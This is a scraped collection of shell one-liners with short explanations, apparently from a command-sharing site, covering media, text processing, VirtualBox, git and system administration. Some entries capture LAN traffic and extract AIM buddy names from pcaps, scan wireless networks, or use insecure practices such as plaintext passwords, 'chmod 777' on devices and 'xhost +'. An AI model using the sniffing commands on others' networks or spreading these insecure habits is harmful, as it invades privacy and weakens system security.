for https links and html files, respectively. cat -A make non-printable characters visible This is priceless for discovering otherwise invisible characters in files. Like, for example, that stray Control-M at the end of the initial hash bang line in your script, which causes it to generate a mysterious error even though it looks fine. ('od' is the last word, of course, but for many purposes it's much harder to read.) mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mjpeg -vf scale=320:-2,expand=:240:::1 -o output.avi input.flv Use heading subtitle file as watermark using mencoder Create subtitle file heading.ssa with just one entry for the entire video duration. Command line sets that entry's text on top of the video as text watermark. If text is an URL works nice for sending people back to your site from a YouTube clip. Output file is lossless encoded and suitable for further processing. Subtitle file can be a URL so it's saved remotely. perl -e '$i=0;while($i<10){open(WGET,qq/|xargs lynx -dump/);printf WGET qq{http://www.google.com/search?q=site:g33kinfo.com&hl=en&start=$i&sa=N},$i+=10}'|grep '\/\/g33kinfo.com\/' 12. http://g33kinfo.com/ 15. http://g33kinfo.com/info/?p=386 18. http://g33kinfo.com/info/?p=440 20. http://g33kinfo.com/info/?p=441 22. http://g33kinfo.com/info/?p=288 25. http://g33kinfo.com/info/?p=355 28. http://g33kinfo.com/info/?p=327 31. http://g33kinfo.com/info/?p=400 34. http://g33kinfo.com/info/?p=102 37. http://g33kinfo.com/info/?p=402 Functions: grep perl xargs google search not my cmd... found on the web geoiplookup www.commandlinefu.com geoip from maxmind try to get the small utility via: apt-get install geoip dc -e '10 [q]sq[dd1=q1-lxx*]dsxxp' More readable version of factorial calculation using standard desktop calculator instead of bc. grep -E -v '^#|^$' tx.bak tux@dell:~/Downloads$ cat tx.bak 123 heh #xxx tux@dell:~/Downloads$ grep -E -v '^#|^$' tx.bak Remove empty lines Or you can use egrep without -E option. With extended regular expression, you do not have to escape `|`. tshark -r data.pcap -R "ip.src==192.168.1.2" -T fields -e "ip.dst" |sort |uniq -c Print all connections of a source IP address in pcap while true; do read i; echo $[$i]; done 6*7 42 30-7 (9+3)**2 ^C Simple calculator The $[...] block in bash and zsh will let you do math. echo $[6*7] This is the same as using $((...)), which also works in ksh. Of course, this is a simple, dumb wrapper and doesn't allow floating-point. geoip () { curl -s "http://www.geoiptool.com/?IP=$1" | html2text | egrep --color 'City:|IP Address:|Country:' } $ geoip google.com If used without arguments, returns own IP info. If used with argument, returns info about the parsed argument. webattery 98% & charged Command to show battery power status ‹ First < 254 255 256 257 258 > Last › In vim: q: && v[cursor movement]y && [paste/edit/save to /tmp/tmp.vim] && move to window to modify && :so /tmp/tmp.vim Re-run [re-edited] sequence of commands in vim history It's actually really helpful if you've done a lot of replaces in say a header file, and now you want to replace the same text in the source code file. echo 00:16:3e$(gethostip 10.1.2.11 | awk '{ print tolower(substr($3,3)) }' |sed 's/.\{2\}/:&/g' ) 00:16:3e:01:02:0b Generate a unique MAC address from an IP Address Useful for creating MAC addresses for virtual machines on a subnet. 00:16:3e is a standard Xen OID, change as needed. VBoxBlockBoot() { sudo umount "$2"*; sudo chmod 777 "$2"; VBoxManage storageattach "$1" --medium ~/.rawHD4VB_`basename "$2"`.vmdk --type hdd --storagectl "IDE Controller" --device 0 --port 0 ; VBoxManage startvm "$1";} $ VBoxBlockBoot usb /dev/sdc umount: /dev/sdc: not mounted Oracle VM VirtualBox Command Line Management Interface Version 3.2.12 (C) 2005-2010 Oracle Corporation Waiting for the VM to power on... VM has been successfully started. Functions: chmod sudo umount Boot from a block device without giving root privilege to Virtual Box Usage: VBoxBlockBoot [Virtual_Machine] [Block_device] Eg: VBoxBlockBoot WinXP /dev/sdc In another words vm=usb; usb=sdc;sudo umount /dev/$usb* ; sudo chmod 777 /dev/$usb ; VBoxManage storageattach $vm --medium ~/raw-HD-4-VB/$usb.vmdk --type hdd --storagectl "IDE Controller" --device 0 --port 0 ; VBoxManage startvm $vm Where vm --> Name of the virtual machine to start usb --> Block device to use. (/dev/sdc) This can used after setup up a boot loader on to my USB pen drive or HDD (After creating Live USB). Here root privilege is needed but not granted to Virtual Box. Thus we can access all our VM.( If we run VBox as root we can't access our VMs). Root privilege is used to - Unmount the storage device - Chmod to full access (777) Requirements:- 1. Device information file (rawvmdk file) created by the following command. Need to run only once. Not bad to run many. VBoxCreateRawDisk() { VBoxManage internalcommands createrawvmdk -filename ~/.rawHD4VB_`basename "$1"`.vmdk -rawdisk "$1"; } 2. Root privilege to umount & chmod 3. Real storage medium (ie /dev/*) (Non-virtual such as USB HD, pen drive, a partition) 4. A virtual m/c already available (here "usb") VBoxBlockBoot() { sudo umount "$2"*; sudo chmod 777 "$2"; VBoxManage storageattach "$1" --medium ~/.rawHD4VB_`basename "$2"`.vmdk --type hdd --storagectl "IDE Controller" --device 0 --port 0 ; VBoxManage startvm "$1"; } tshark -r data.pcap -R "ip.addr==192.168.1.2 && ip.addr==64.12.24.50 && aim" -d tcp.port==443,aim -T fields -e "aim.buddyname" |sort |uniq -c Print out buddy name (aim) which has been capture in pcap psg () { ps auxwww | egrep "$1|PID" | grep -v grep } $ psg X Functions: egrep grep ps ps grep with header Yet another ps grep function, but this one includes the column headings. grep -ir 'foo' * | awk '{print $1}' | sed -e 's/://' | xargs vim Functions: awk grep sed xargs This will drop you into vim to edit all files that contain your grep string. apt-get install sl; sl Learn how to stop mistyping "ls" the fun way this is funny ;) alias sl="ls" ... is the useful solution, but that's boring ;P and You won't learn to think before You type ! alias ltmux="if tmux has; then tmux attach; else tmux new; fi" Alias for lazy tmux create/reattach If a tmux session is already running attach it, otherwise create a new one. Useful if you often forget about running tmuxes (or just don't care) firefox http://en.wikipedia.org/wiki/$(date +'%b_%d') What happened on this day in history? LC_ALL=C diff -q dir1 dir2 | grep differ | awk '{ print $2, $4 }' | xargs -n 2 gvim --nofork -d Functions: awk diff grep xargs Edit all different files from 2 directories with gvim in difference mode (gvim -d) LC_ALL=C is here to always grep on "differ" whatever your language env. xargs -n 2 to run gvim -d with 2 arguments gvim --nofork to use only one instance of gvim touch -t [[CC]AA]MMJJhhmm[.ss] Change file time stamp curl http://whatthecommit.com/index.txt xmlproc_parse.python-xml &>/dev/null || exit 1 validate xml in a shell script. For debian likes, that's in python-xml package. source_print(){ set | sed -n "/^$1/,/^}$/p"; }; $ source_print source_print source_print () set | sed -n "/^$1/,/^}$/p" $ source_print startx Functions: sed set useful if you want to get the source code of a in memory function ps -eo stat= | sort | uniq -c | sort -n $ ps -eo stat= | sort | uniq -c | sort -n Use ps instead of top. But do not use BSD options at all, they are confusing. Use "s=" or "state=" to show consice process statuses. domain=google.com; for ns in $(whois $domain | awk -F: '/Name Server/{print $2}'); do echo ">>> Nameservers for $domain from $a <<<"; dig @$ns $domain ns +short; echo; done; >>> Nameservers for google.com from NS1.GOOGLE.COM <<< ns3.google.com. ns1.google.com. ns4.google.com. ns2.google.com. >>> Nameservers for google.com from NS2.GOOGLE.COM <<< >>> Nameservers for google.com from NS3.GOOGLE.COM <<< >>> Nameservers for google.com from NS4.GOOGLE.COM <<< Functions: awk dig echo whois Check to make sure the whois nameservers match the nameserver records from the nameservers themselves Change the $domain variable to whichever domain you wish to query. Works with the majority of whois info; for some that won't, you may have to compromise: domain=google.com; for a in $(whois $domain | grep "Domain servers in listed order:" --after 3 | grep -v "Domain servers in listed order:"); do echo ">>> Nameservers for $domain from $a Note that this doesn't work as well as the first one; if they have more than 3 nameservers, it won't hit them all. As the summary states, this can be useful for making sure the whois nameservers for a domain match the nameserver records (NS records) from the nameservers themselves. ffmpeg -i $src -an -vcodec [...details in description...] rtp rtp://$dstIP:$dstAudioPort4 -newaudio v=0 o=- 0 0 IN IP4 127.0.0.1 s=No Name t=0 0 a=tool:libavformat 52.39.2 m=video 50002 RTP/AVP 96 c=IN IP4 172.16.99.208 b=AS:186 a=rtpmap:96 H264/90000 a=fmtp:96 packetization-mode=1; sprop-parameter-sets=Z0LADatAoO3/gBwAFogAAAMACAAAAwD0eKFV,aM4fIA== m=audio 50004 RTP/AVP 96 b=AS:64 a=rtpmap:96 MPEG4-GENERIC/44100/1 a=fmtp:96 profile-level-id=1;mode=AAC-hbr;sizelength=13;indexlength=3;indexdeltalength=3; config=1208 m=video 50006 RTP/AVP 96 b=AS:286 a=fmtp:96 packetization-mode=1; sprop-parameter-sets=Z0LADbkQKDt/4AcABaIAAAMAAgAAAwBRHihVQA==,aM4fIA== m=audio 50008 RTP/AVP 96 m=video 50010 RTP/AVP 96 b=AS:386 a=fmtp:96 packetization-mode=1; sprop-parameter-sets=Z0LAHrkQPBXf+AHAAWiAAAADAIAAABlHixdQ,aM4fIA== m=audio 50012 RTP/AVP 96 a=rtpmap:96 MPEG4-GENERIC/44100/2 a=fmtp:96 profile-level-id=1;mode=AAC-hbr;sizelength=13;indexlength=3;indexdeltalength=3; config=1210 m=video 50014 RTP/AVP 96 b=AS:686 m=audio 50016 RTP/AVP 96 create 4 RTP streams (H264/AAC) from a single source with a single ffmpeg instance... ffmpeg [source specification if needed] -i $src -an -vcodec libx264 -coder 0 -threads 0 -flags +loop -cmp +chroma -partitions +parti4x4+partp8x8+partb8x8 -subq 5 -trellis 1 -refs 1 -coder 0 -me_range 16 -keyint_min 25 -sc_threshold 40 -i_qfactor 0.71 -rc_eq 'blurCplx^(1-qComp)' -qcomp 0.6 -qmin 10 -qmax 51 -level 13 -g 15 -crf 25 -s 320x224 -aspect 16:9 -r 15 -b 186000 -vb 186000 -minrate 176700 -maxrate 195300 -bt 9300 -bufsize 262500 -muxrate 195300 -vglobal 1 -f rtp rtp://$dstIP:$dstVideoPort1 -vn -acodec libfaac -async 2 -flags +global_header -ac 1 -ar 44100 -ab 64000 -f rtp rtp://$dstIP:$dstAudioPort1 -newaudio -an -vcodec libx264 -coder 0 -threads 0 -flags +loop -cmp +chroma -partitions +parti4x4+partp8x8+partb8x8 -subq 5 -trellis 1 -refs 1 -coder 0 -me_range 16 -keyint_min 25 -sc_threshold 40 -i_qfactor 0.71 -rc_eq 'blurCplx^(1-qComp)' -qcomp 0.6 -qmin 10 -qmax 51 -level 13 -g 20 -crf 25 -s 320x224 -aspect 16:9 -r 20 -b 286000 -vb 286000 -minrate 271700 -maxrate 300300 -bt 14300 -bufsize 367500 -muxrate 300300 -vglobal 1 -f rtp rtp://$dstIP:$dstVideoPort2 -newvideo -vn -acodec libfaac -async 2 -flags +global_header -ac 1 -ar 44100 -ab 64000 -f rtp rtp://$dstIP:$dstAudioPort2 -newaudio -an -vcodec libx264 -coder 0 -threads 0 -flags +loop -cmp +chroma -partitions +parti4x4+partp8x8+partb8x8 -subq 5 -trellis 1 -refs 1 -coder 0 -me_range 16 -keyint_min 25 -sc_threshold 40 -i_qfactor 0.71 -rc_eq 'blurCplx^(1-qComp)' -qcomp 0.6 -qmin 10 -qmax 51 -level 30 -g 25 -crf 25 -s 480x336 -aspect 16:9 -r 25 -b 386000 -vb 386000 -minrate 366700 -maxrate 405300 -bt 19300 -bufsize 472500 -muxrate 405300 -vglobal 1 -f rtp rtp://$dstIP:$dstVideoPort3 -newvideo -vn -acodec libfaac -async 2 -flags +global_header -ac 2 -ar 44100 -ab 64000 -f rtp rtp://$dstIP:$dstAudioPort3 -newaudio -an -vcodec libx264 -coder 0 -threads 0 -flags +loop -cmp +chroma -partitions +parti4x4+partp8x8+partb8x8 -subq 5 -trellis 1 -refs 1 -coder 0 -me_range 16 -keyint_min 25 -sc_threshold sudo tcpdump -n -i eth0 -w data.pcap -v tcp or udp and 'not host 192.168.1.2' Functions: host sudo tcpdump Capture all tcp and udp packets in LAN, except packets coming to localhost (192.168.1.2) wineserver -k; killall -9 wine wineserver; for i in `ps ax|egrep "*\.exe"|grep -v 'egrep'|awk '{print $1 }'`;do kill -9 $i;done Functions: awk egrep grep kill killall The other 2 commands that are listed will also kill the egrep process and any libexec processes because the .exe isn't escaped so it is really using . meaning anything containing exe. The command i posted escapes the (dot) in .exe and then filters the actual egrep process so that it doesn't get killed before the other processes being killed. Also added the -9 switch for kill to send sigterm to the processes, in case people are wondering why processes aren't getting killed after running just kill . This should work better for people :) find DIR -name "FILE" -exec grep -IHn STRING {} \; Show all occurences of STRING with filename and line number for given FILE pattern under the DIR. ipconfig getpacket en0 | grep yi| sed s."yiaddr = "."en0: ". ipconfig getpacket en1 | grep yi| sed s."yiaddr = "."en1: ". grep -ir 'foo' * | awk -F '{print $1}' | xargs vim saves one command. Needs GNU grep though :-( setterm -bfreq 0 or change the frequency of the beep If you really _must_ use a loop, this is better than parsing the output of 'ps': PID=$! ;while kill -0 $PID &>/dev/null; do sleep 1; done kill -0 $PID returns 0 if the process still exists; otherwise 1 while :; do ping -W1 -c1 -n 8.8.8.8 > /dev/null || tput bel > /dev/console; sleep 1; done Functions: ping sleep tput Make a server's console beep when the network is down This is like ping -a, but it does the opposite. It alerts you if the network is down, not up. Note that the beep will be from the speaker on the server, not from your terminal. Once a second, this script checks if the Internet is accessible and beeps if it is not. I define the Net as being "UP", if I can ping Google's public DNS server (8.8.8.8), but of course you could pick a different static IP address. I redirect the beep to /dev/console so that I can run this in the background from /etc/rc.local. Of course, doing that requires that the script is run by a UID or GID that has write permissions to /dev/console (usually only root). Question: I am not sure if the -W1 flag works under BSD. I have only tested this under GNU/Linux using ping from iputils. If anybody knows how portable -W is, please post a comment. ‹ First < 255 256 257 258 259 > Last › rec -r 44100 -p | sox -p "audio_name-$(date '+%Y-%m-%d').ogg" silence -l 1 00:00:00.5 -45d -1 00:00:00.5 -45d In:0.00% 00:00:24.33 [00:00:00.00] Out:1.07M [ | ] Clip:0 record audio and use sox to eliminate silence. Results an ogg file that only contains the audio signal exceeding -45dB Very useful for recording radio scanner for instance as the resulting audio file contains only audio signal that exceeds -45dB and the file name tells you when the recording was done. Why waste time listening silence? ;) cvlc Playback music in VLC without the GUI interface while [$((or_sz=$(stat -c %s "$1"))) -gt $((ds_sz=$(stat -c %s "$2")))];do ((pct=(69*$ds_sz)/$or_sz));echo -en "\r[";for ((i=1;i<=pct;i++));do echo -n "=";done;echo -n \>;for ((i=pct;i<=68;i++));do echo -n ".";done;echo -n "] $(((100*$pct)/69))%";done [========================================================>.............] 81% Functions: echo stat Cleaner, but probably less portable. Works with bash4 and should also work on bash3. IIRC, $(()) and (()) are bashisms, not POSIX. zcat /usr/share/man/man1/man.1.gz | nroff -man | less Read manpages without the man(1) command As odd as this may be, I know of servers where the man(1) command is not installed, and there is not enough room on / to install it. However, zcat(1), nroff(1) and less(1) are. This is a way to read those documents without the proper tool to do so, as sad as this may seem. :) sudo watch arp-scan --interface=wlan0 --localnet Functions: sudo watch Find & watch active IP and MAC addresses in a wireless network in real time. (IPv4 only) watch --no-title -d -n 1 'echo `date -d "next Thursday" +%s` "-" `date +%s` | bc -l' Functions: bc watch Simple countdown from a given date Might be more useful if you were able to print it in Days HH:MM:SS format as: perl -e '@p=gmtime(234234);printf("%d Days %02d:%02d:%02ds\n",@p[7,2,1,0]);' But I'm not exactly sure how to replace the 234234 with the output of the countdown time. (Having some problems with nested quoting/command substitution). Help would be appreciated :) ls -t1 | head -n1 | xargs tail -f Functions: head ls tail xargs Tail the most recently modified file git log --format='%aN <%aE>' | awk '{arr[$0]++} END{for (i in arr){print arr[i], i;}}' | sort -rn | cut -d\ -f2- AUTHOR NAME Gets the authors, sorts by number of commits (as a vague way of estimating how much of the project is their work, i.e. the higher in the list, the more they've done) and then outputs the results. sudo aptitude markauto $(apt-cache showsrc PACKAGE | grep Build-Depends | perl -p -e 's/(?:[\[(].+?[\])]|Build-Depends:|,|\|)//g') Functions: grep perl sudo Mark packages installed with build-dep for autoremove (on Debian/Ubuntu) Replace PACKAGE with desired package name. Found here: http://mikebeach.org/2011/04/undo-apt-get-build-dep/ pi 62999 | tr 0-9 del\ l\!owrH Hello world Pi also says hello world! sed -i 's/[ \t]\+$//g' file.txt Remove trailing whitespaces (or tabs) from a text file This command is useful when you are programming, for example. python -c 'import string, random; print "".join(random.choice(string.letters+string.digits) for x in range(6))' generate random string awk -F: '$3 > 999 { print $1 }' /etc/passwd list all users with UID bigger than 999 in /etc/passwd To distinguish normal users from system users. Specify an UID, to list all all users with UID bigger than that in /etc/passwd. sftp -s "sudo /usr/lib/sftp-server" user@host Given NOPASSWD privileges on a remote SSH server, sftp as root via sudo This requires that your sudo not prompt for a password, as sftp cannot allocate the terminal necessary to ask. find . | xargs file | grep ".*: .* text" | sed "s;\(.*\): .* text.*;\1;" Functions: file find grep sed xargs List all text files (exclude binary files) List all text files in the current directory. ord () { seq 1 127 | while read i; do echo `chr $i` $i; done | grep "^$1 " | cut -c '3-' } Functions: cut echo grep read seq uses the previous "chr" function and uses it to create the inverse function "ord" by brute force. It's slow, It's inelegant, but it works. I thought I needed ord/chr to do a cartesian cipher in shell script a whie ago, but eventualy I realized I could get fancy with tr and do the same thing... rm-but() { ls -Q | grep -v "$1" | xargs rm -r ; } Functions: grep ls rm xargs Remove all but One Add this to your .bashrc file. Then whenever you need to remove all files/directories but one from present working directory. Run: rm-but 1. This doesn't affect the hidden files. 2. Argument is actually as string. And all files/directories having this string in there name are left untouched. perltidy foo.pl Clean up formatting of a perl script By default, perltidy will create a file with the extension '.tdy'. lsof -i :[port number] $ sudo lsof -i :443 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME Gives also the name of the deamon F=index.html; for i in *; do [[ $i = $F ]] && continue; echo "
  • $i"; done >$F Just to avoid link to itself ping HOSTNAME | while read pong; do echo "$(date): $pong"; done Functions: echo ping read ping with timestamp perl -MExtUtils::Installed -E 'say for ExtUtils::Installed->new()->modules()' Algorithm::Diff Algorithm::NaiveBayes Alien::Judy Alien::wxWidgets Any::Moose App::FatPacker App::Nopaste App::cpanminus App::perlbrew AppConfig Archive::Any Archive::Extract Archive::Tar Archive::Zip Array::Diff Array::Iterator Array::RefElem Async Lists all the modules that were installed the "proper way". It also uses Perl 5.10(or higher)'s say command for less typing. vos listvldb | agrep LOCKED -d RWrite | grep RWrite: | awk -F: '{print $2}' | awk '{printf("%s ",$1)} END {printf("\n")}' $ vos listvldb | agrep LOCKED -d RWrite | grep RWrite: | awk -F: '{print $2}' | awk '{printf("%s ",$1)} END {printf("\n")}' 536870972 This command shows if there are any locked AFS volumes. The output is a list of AFS volume IDs (or nothing if there are none locked). :%s/^/\=line('.').' ' 1 "file: how insert number lines in vim 2 "site: http://vivaotux.blogspot.com 3 " .' ' --> number of spaces after number Insert line number in vim Use this command to insert line numbers in source files, .' ' control how spaces you insert after number. chr () { echo -en "\0$(printf %x $1)"} ‹ First < 256 257 258 259 260 > Last › www-browser http://en.wikipedia.org/wiki/$(date +'%b_%d') Improved version of command #8425. This way, the default browser is used, as opposed to Firefox. echo $(($(ulimit -u)-$(pgrep -u $USER|wc -l)) Functions: echo ulimit wc echo 'Enter Picasa album RSS URL:"; read -e feedurl; GET "$feedurl" |sed 's/ wgetlist Grab the RSS link to the Picasa album. Feed it to the script when its hungry. When its done writing the shopping list, just use wget -c -i wgetlist to get your stuff. sudo du -sm * | sort -n 0 config 1 CVS 1 cd 9 faimirror 424 nfsroot Functions: du sort sudo list files/directories in current directory -- sorted by file size in MB sudo is optional, but to find out about all files, it is nice, or else run as superuser, ie: su -c 'du -sm * | sort -n' urpmi.removemedia -a && urpmi.addmedia --distrib --mirrorlist reset Mageia urpmi media sources to network only On Mageia (and Mandriva) Linux, this command will clear your existing urpmi configuration and configure it to use only network sources. It can be useful after you have installed from CD/DVD and don't want to continually be prompted to insert CD/DVD each time you install a package. acknowledgement: blino shutdown 60*4 & disown The system is going down for maintenance NOW! This way, you can specify how many hours in which you want your machine to shut down. find ./ -iname "*.dmp" -maxdepth 0 -type f -exec tar czvf {}.tar.gz --remove-files {} \; \; Archive tar.gz archives all files (with extension filter) individually from an location This command will : -Archive all *.dmp files individually (one file per archive) from current directory . -Delete original file after has been compressed. wget -qO - --post-data "data[Row][clear]=text" http://md5-encryption.com | grep -A1 "Md5 encrypted state" | tail -n1 | cut -d '"' -f3 | sed 's/>//g; s/<\/b//g' 1cb251ec0d568de6a929b520c4aed8d1 Functions: cut grep sed tail wget Encrypt text to md5 Encrypt any text to MD5 , replace text with the string you want to convert to MD5 perl -MO=Deparse filename.pl | perltidy > new.pl This will create a new file with proper code formatting and all comments removed. find cvsdir -name Root -exec sed -i 's/oldserver/newserver/' {} \; If your CVS server has moved, here's a way to update your CVS Root files throughout your code tree without checking out a new copy of your files. sed ':a;N;$!ba;s/\n/ /g' Remove/replace newline characters. Ever had a file with a list of numbers you wanted to add, use: cat file | sed ':a;N;$!ba;s/\n/+/g' | bc find /home/user/doc/ -type d -printf "mkdir -vp '/home/user/Dropbox%p'\n" -o -type f -printf "ln -vs '%p' '/home/user/Dropbox%p'\n" | sh Create a symbolic link tree that shadows a directory structure Extremely useful to maintain backups if you're using Dropbox. This mirrors the entire directory structure and places symlinks in each to the original file. Instead of copying over the data again to the ~/Dropbox folder creating a symbolic link tree is much more sensible in terms of space usage. This has to be supplemented by another script that removes dead symlinks in the Dropbox folder which point to files that have been moved/removed. find -L ./ -type l -delete And then removing empty directories find ./ -type d -exec rmdir 2>/dev/null {} \; **Actually after some finding I found lndir which creates symbolic trees but it wasn't in the Arch repos so.. ;) x=1 ; while [ $x -le 10 ] ; do lynx -dump http://www.alexa.com/siteinfo/http://[YOUR WEBSITE] | grep Global | sed 's/ \|Global\|\,//g' >> /var/log/alexa-stats.txt ; sleep 5h ; done & Functions: grep sed sleep Record Alexa Traffic Stats of your Website This will record the Alexa Traffic Stats to a file and run every 5 hours. git log --format=%H | tail -1 c7a4ef6756568cbb795481b82cebea72926a2ab5 Can anyone make a shorter one? This doesn't work: git log --reverse -1 --format=%H cat /etc/services | egrep [[:blank:]]/ xuta@xuta-itim:~$ cat /etc/services | egrep [[:blank:]]25/ Functions: cat egrep Apply to almost linux distroes. find $DIR -exec bash method {} ";" recursive command to find out all directories An easy way to send all directories to a bash script, it makes it recursive echo | gcc -dM -E - Functions: echo gcc another one while sleep 30; do tput sc;tput cup 0 $(($(tput cols)-15));echo -n " New Emails: $(curl -u username:password --silent https://mail.google.com/mail/feed/atom | grep 'fullcount' | grep -o '[0-9]\+')";tput rc; done & Checks your gmail account every 30 seconds and display the number of new messages in the top right corner of the terminal. A kind of CLI "Gmail notifier" if you will. :-) This is a mashup of http://www.commandlinefu.com/commands/view/7916/put-a-console-clock-in-top-right-corner and http://www.commandlinefu.com/commands/view/3386/check-your-unread-gmail-from-the-command-line wget -qO - --post-data "data[Row][cripted]=1cb251ec0d568de6a929b520c4aed8d1" http://md5-decrypter.com/ | grep -A1 "Decrypted text" | tail -n1 | cut -d '"' -f3 | sed 's/>//g; s/<\/b//g' text function right { bc <<< "obase=8;ibase=2;$1"; }; touch foo; chmod $(right 111111011) foo; ls -l foo -rwxrwx-wx 1 nerd nerd 0 2011-11-16 23:29 foo Functions: bc chmod ls touch Use binary notation to chmod a file. I simply find binary notation more straightforward to use than octal in this case. Obviously it is overkill if you just 600 or 700 all of your files... find . -type f -exec grep -l pattern {} \; | xargs vi +/pattern Functions: find grep vi xargs find all files containing a pattern, open them using vi and place cursor to the first match, use 'n' and ':n' to navigate syslog -F '$Time $Message' -k Sender /System/Library/CoreServices/backupd -k Time ge -72h | tail -n 30 Tue Feb 17 19:38:13 No pre-backup thinning needed: 603.9 MB requested (including padding), 4.73 GB available Tue Feb 17 19:39:47 Copied 23039 files (33.8 MB) from volume 200GBsOfPurePower. Tue Feb 17 19:39:47 No pre-backup thinning needed: 563.3 MB requested (including padding), 4.69 GB available Tue Feb 17 19:40:05 Copied 492 files (60 KB) from volume 200GBsOfPurePower. Tue Feb 17 19:40:13 Starting post-backup thinning Tue Feb 17 19:40:13 No post-back up thinning needed: no expired backups exist Tue Feb 17 19:40:13 Backup completed successfully. Tue Feb 17 19:40:19 Ejected Time Machine disk image. Tue Feb 17 19:40:23 Ejected Time Machine network volume. Wed Feb 18 08:58:36 Starting standard backup Show some details of recent Leopard Time Machine activity - shell: bash, Mac OSX 10.5 While they are few config options and even fewer useful details regarding what actually is being sent by the time machine 'backupd' process, this can at least tell you its doing something, how much it's doing, and exactly how often. Via macosxhints, http://xrl.us/begrwa, which in turn was via comments svn rm `svn status | grep "\!" | cut -c 8-` Functions: cut grep rm Clean up after improper deletes in subversion If (when) you forget to "svn rm" files from your repository, use this to let your repository know you want those files gone. Of course this works with adding and reverting too. grep '\<110/' /etc/services; grep '\b110/' /etc/services I used 110 as the port number in examples for clarity. backslash+lessthan or backslash+b marks 'edge of the word'. sudo aptitude purge ~ilinux-image-\[0-9\]\(\!`uname -r`\) Safely remove old unused kernels in Ubuntu/Debian Removes piling kernels from /boot, save the current one. This command DOES NOT remove the 'linux-image-generic' package, so you'll continue getting kernel updates ‹ First < 257 258 259 260 261 > Last › jhead -autorot * Modified: IMG_001.jpg Modified: IMG_003.jpg Modified: IMG_004.jpg Modified: IMG_007.jpg Modified: IMG_008.jpg Autorotate a directory of JPEG images from a digital camera TZ=$TZ-72 date +%d.%m.%Y solaris: get current date + 72 hours file -i * | grep 'text/plain' | wc -l Functions: file grep wc get files without extensions, get ASCII and utf-8 as "text/plain" utime(){ awk -v d=$1 'BEGIN{print strftime("%a %b %d %H:%M:%S %Y", d)}'; } pkill Kill process by searching something from 'ps' command ssh user@remoteserver "PGPASSWORD='passwd' pg_dump -U user bd_name | bzip2 -zv9" | bzcat | psql -U user bd_name dump a remote db via ssh and populate local db with postgres scrot $1 /tmp/screenshot.png && curl -s -F file1=@/tmp/screenshot.png -F submit="OMPLOAD\!" http://ompldr.org/upload | egrep '(View file: )' | sed 's/^.*\(http:\/\/.*\)<.*$/\1/' | xsel -b -i ? (full in a sample output) scrot $1 /tmp/screenshot.png && curl -s -F file1=@/tmp/screenshot.png -F submit="OMPLOAD\!" http://ompldr.org/upload | egrep '(View file: )' | sed 's/^.*\(http:\/\/.*\)<.*$/\1/' | xsel -b -i && rm -f /tmp/screenshot.png && notify-send -t 5000 -i dialog-information "Screenshot uploaded." "\Url copied to clipboard." && echo "`date`______ `xsel -o`">>~/screenshots.log The variant to make screenshot of the currently focused window. scrot -u /tmp/screenshot.png && curl -s -F file1=@/tmp/screenshot.png -F submit="OMPLOAD\!" http://ompldr.org/upload | egrep '(View file: )' | sed 's/^.*\(http:\/\/.*\)<.*$/\1/' | xsel -b -i && rm -f /tmp/screenshot.png && notify-send -t 5000 -i dialog-information "Screenshot uploaded." "\Url copied to clipboard." && echo "`date`______ `xsel -o`">>~/screenshots.log Take a screenshot of the screen, upload it to ompldr.org and put link to the clipboard and to the screenshots.log (with a date stamp) in a home directory. scrot, curl, egrep, sed, xsel, libnotify-bin must be installed. P.S. Sorry for so long command ffmpeg -f video4linux2 -s 320x240 -i /dev/video0 -f alsa -ac 1 -i default -f mp4 Filename.mp4 Make webcam video May need to use pavucontrol to set sound to correct things, use when ffmpeg is running. rsync -P -e 'ssh -p PORT' SRC DEST Transfer files with rsync over ssh on a non-standard port. Transfer files with rsync over ssh on a non-standard port, showing a progress bar and resuming partial transfers. echo `wget -q -O - http://www.whatismyip.org` Get Public IP Address from command line Check your IP address using www.whatismyip.org from the command line curl -s www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com) | sed -e'1d;3d' -e's/C.*: \(.*\)/\1/' -e's/ /%20/g' -e"s/'/%27/g") | sed 's|.*.*|\1\n|' 30 Geo Temp Check your local temperature based on geolocation. x="1" && z="`ls -l * | wc -l`"; for y in *.mp3; do `id3v2 --TRCK "$x/$z" "$y"`; x=$[$x+1]; done Writes ID3 tags with track numbers for mp3s in current directory Assumes that the files are named in numerical order (ie. 01 Filename.mp3). It will set the track number as tracknumber/totaltracks (ie. 1/14). This will write both ID3v1 and ID3v2 tags. Note: This only writes the track numbers. for i in `cat /proc/cpuinfo |grep processor|awk '{print $3}'`;do cpufreq-set -g ondemand $i;done Set ondemand governor for all cpu cores. Save as a bash script and run as root to set the ondemand cpu frequency governor for all cpu cores. Name the file ondemand. Change 'ondemand' in the argument to performance or your preferred governor to do the same thing but set all cpu cores to use the performance governor (or your preferred governor) svn status | grep '^\?' | sed -e 's/^\?//g' | xargs svn add Add new files/directory to subversion repository These part of the command: svn status | grep '^\?' => find new file or directory on working copy sed -e 's/^\?//g' => remove "^" character on the first character of file name xargs svn add => add file to subversion repository You can modify above command to other circumtances, like revert addition files or commit files that have been modified. ^_^ getent passwd|cut -d: -f1|xargs -n1 passwd -e Functions: cut getent passwd xargs Alternately for those without getent or only want to work on local users it's even easier: cut -d: -f1 /etc/passwd|xargs -n1 passwd -e Note that not all implementations of passwd support -e. On RH it would be passwd -x0 (?) and on Solaris it would be passwd -f. [ -n "$SSH_CLIENT" ] && export DISPLAY=$(echo $SSH_CLIENT | awk '{ print $1 }'):0.0 Functions: awk echo export Auto export display when coming from SSH In some case, you need to use remote gui on servers or simple machines and it's boring to see "cannot open display on ..." if you forgot to export your display. Juste add this line in .bashrc on remote machine. Dont forget to allow remote client on your local X server : xhost + for i in $(lsdev -Cc disk | grep EMC | cut -f 1 -d " " ); do if lsattr -a reserve_lock -El $i | grep -q "reserve_lock yes"; then chdev -a reserve_lock=no -l $i; fi; done Functions: cut grep lsattr AIX: Set reserve lock=no in EMC disks that have reserve_lock=yes It will change the reserve_lock attribute to all AIX EMC disk attached. pgrep -c cat and same as backspace and return Backspace and Return/Enter equivalents sudo usermod -a -G adm "$(whoami)" Functions: sudo usermod Let yourself read the logs under /var/log/apache2 (on Debian) awk '{command="echo "$2"|md5sum" ;command | getline $2; close(command);sub(/[[:blank:]].*/,"",$2); print $0}' In: joe 123456789 fdfdsajk bob 125344325 dfjsakl Out: joe b2cfa4183267af678ea06c7407d4d6d8 fdfdsajk bob 